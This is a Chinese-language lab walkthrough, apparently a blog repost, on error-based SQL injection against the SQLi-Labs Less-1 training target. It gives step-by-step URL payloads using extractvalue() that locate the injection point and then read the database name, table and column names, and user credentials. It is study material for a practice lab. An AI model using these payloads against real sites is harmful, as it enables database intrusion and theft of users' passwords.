SQLi-Labs 基于报错的SQL注入

SQLi-Labs 基于报错的SQL注入,第1张

实验环境 *** 作系统:Windows10 安装应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar等 靶机:A-SQLi-Labs 安装的应用软件:Apache、MYSQL、PHP;DVWA、SQLi-Labs 实验步骤:

1.访问目标网站

在Windows10上打开火狐浏览器,并访问靶机上的SQLi-labs网站Less-1

http://靶机ip/sql/Less-1

登录后,先给一个GET参数:

http://靶机ip/sql/Less-1/?id=1

此时云显示为用户名、密码Dumb

 2.寻找注入点

打开火狐浏览器插件HackBar

 分别使用以下三条payload寻找注入点及判断注入点类型:

http://靶机ip/sql/Less-1/?id=1'

运行后报错

 http://靶机ip/sql/Less-1/?id=1' and '1'='1

运行结果依旧是用户名、密码,说明运行结果正确

  http://靶机ip/sql/Less-1/?id=1' and '1'='2

未显示运行结果

 上面三条参数中第二条参数运行正确,说明存在字符型注入点。

3.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

运行结果为:security

 4.获取数据库的全部表名

使用以下payload获取数据库的全部表名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中,users表名中可能存放着网站用户的基本信息。

 注:extractvalue()函数显示的错误信息最大长度为32,超过最大长度可以借助limit来做分行显示,上述payload可以改为:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)))--+  //显示security库中第1张表的名字

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 1,1)))--+  //显示security库中第2张表的名字

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 2,1)))--+  //显示security库中第3张表的名字

5.获取users表的全部字段

使用以下payload获取users表的全部字段名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

结果显示表中有三个字段

 6.获取users表中三个字段的全部值

第一组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

 第二组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

 第三组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

 以此类推,可以通过修改limit后面的参数,获得users表中的缩影用户信息。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/990335.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存